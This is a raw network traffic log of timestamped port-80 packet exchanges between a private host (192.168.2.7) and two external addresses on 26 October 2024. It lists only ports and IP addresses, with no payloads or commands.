Oct 26, 2024 08:53:52.275221109 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.275233984 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.275249958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.275276899 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.288935900 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.288949013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.288959980 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.288971901 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.288994074 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.302361012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.302375078 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.302386045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.302428007 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.320941925 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.320997000 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.321044922 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.392617941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.392631054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.392643929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.392743111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.406681061 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.406703949 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.406717062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.406739950 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.419862986 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.419917107 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.419928074 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.419959068 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.419991016 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.483141899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.483169079 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.483186007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.483211994 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.510642052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.510684967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.510690928 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.510695934 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.510708094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.510746956 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.523930073 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.523941040 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.523952961 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.523972988 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.524003983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.537214994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.537225962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.537236929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.537262917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.600565910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.600590944 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.600605011 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.600617886 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.600630045 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.600636005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.600701094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.600701094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.627197981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.627230883 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.627242088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.627299070 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.641233921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.641271114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.641282082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.641294956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.641311884 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.642400980 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.654521942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.654532909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.654544115 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.654553890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.654573917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.654608965 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.717701912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.717711926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.717791080 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.744571924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.744590998 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.744601965 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.744616032 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.744627953 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.744632006 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.744640112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.744684935 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.758622885 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.758656979 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.758666992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.758670092 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.758677006 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.758718967 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.772126913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.772149086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.772160053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.772176981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.772212982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.861941099 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862029076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862040043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862056971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862067938 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862081051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862081051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.862092018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862104893 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.862119913 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.862138033 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.876115084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.876127005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.876162052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.876225948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.889328957 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.889339924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.889349937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.889363050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.889406919 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.889445066 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.979322910 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979357958 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979370117 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979382992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979396105 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979413986 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.979444981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979458094 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.979458094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979476929 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979480028 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.979490042 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.979510069 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.993659019 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.993670940 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.993683100 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:52.993716002 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:52.993750095 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.006645918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.006658077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.006669044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.006701946 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.096822977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096852064 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096864939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096877098 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096890926 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096896887 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.096904039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096916914 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096930981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.096941948 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.096956968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.110955954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.110969067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.110980988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.111008883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.111041069 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.124104977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.124119043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.124135971 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.124166012 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.214225054 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214238882 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214250088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214260101 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214271069 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214274883 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.214282990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214302063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214313030 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214324951 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.214337111 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.214358091 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.228292942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.228302956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.228354931 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.241502047 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.241517067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.241528988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.241539955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.241729021 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.241729021 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.332012892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332026005 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332036972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332055092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332067013 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332072973 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332075119 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.332079887 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332082987 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.332206011 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.346240044 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.346252918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.346267939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.346293926 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.359004974 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.359019041 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.359033108 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.359045982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.359045982 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.359150887 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.449470043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.449544907 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.449554920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.449567080 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.449582100 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.449609041 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.449637890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.449650049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.449662924 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.449697971 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.463644981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.463658094 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.463670015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.463702917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.463732958 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.476475954 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.476489067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.476500988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.476512909 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.476526022 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.476526976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.476553917 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.560066938 CEST	49979	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:53.560563087 CEST	49980	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:53.565785885 CEST	80	49979	185.215.113.43	192.168.2.7
Oct 26, 2024 08:53:53.565833092 CEST	49979	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:53.565865040 CEST	80	49980	185.215.113.43	192.168.2.7
Oct 26, 2024 08:53:53.565913916 CEST	49980	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:53.566946983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.566982031 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.566986084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.566999912 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.567028999 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.567032099 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.567042112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.567074060 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.567162037 CEST	49980	80	192.168.2.7	185.215.113.43
Oct 26, 2024 08:53:53.567164898 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.567177057 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.567188025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.567198992 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.567209959 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.567229986 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.572422028 CEST	80	49980	185.215.113.43	192.168.2.7
Oct 26, 2024 08:53:53.581031084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.581068039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.581078053 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.581108093 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.593662977 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.593710899 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.593749046 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.593760014 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.593770027 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.593780994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.593794107 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.593796968 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.593817949 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.634821892 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.684468031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684526920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684545994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684557915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684567928 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684571028 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.684581995 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684593916 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684598923 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.684607983 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.684746981 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.684747934 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.698396921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.698407888 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.698420048 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.698461056 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.711308956 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.711327076 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.711338997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.711352110 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.711379051 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.711394072 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.711405039 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.711415052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.711437941 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.801958084 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.801985025 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.801999092 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.802007914 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.802012920 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.802027941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.802037001 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.802042007 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.802057028 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.802069902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.802088976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.802103043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.815696955 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.815732002 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.815740108 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.815743923 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.815776110 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.828782082 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.828793049 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.828804970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.828815937 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.828829050 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.828840017 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.828865051 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.828867912 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.828905106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.919306993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919326067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919338942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919349909 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.919388056 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.919394970 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919414043 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919426918 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919440031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919441938 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.919452906 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.919495106 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.933087111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.933106899 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.933116913 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.933130026 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.933159113 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.946228981 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.946240902 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.946259975 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.946269989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.946280003 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:53.946283102 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.946295023 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.946310997 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:53.946314096 CEST	49759	80	192.168.2.7	185.215.113.16
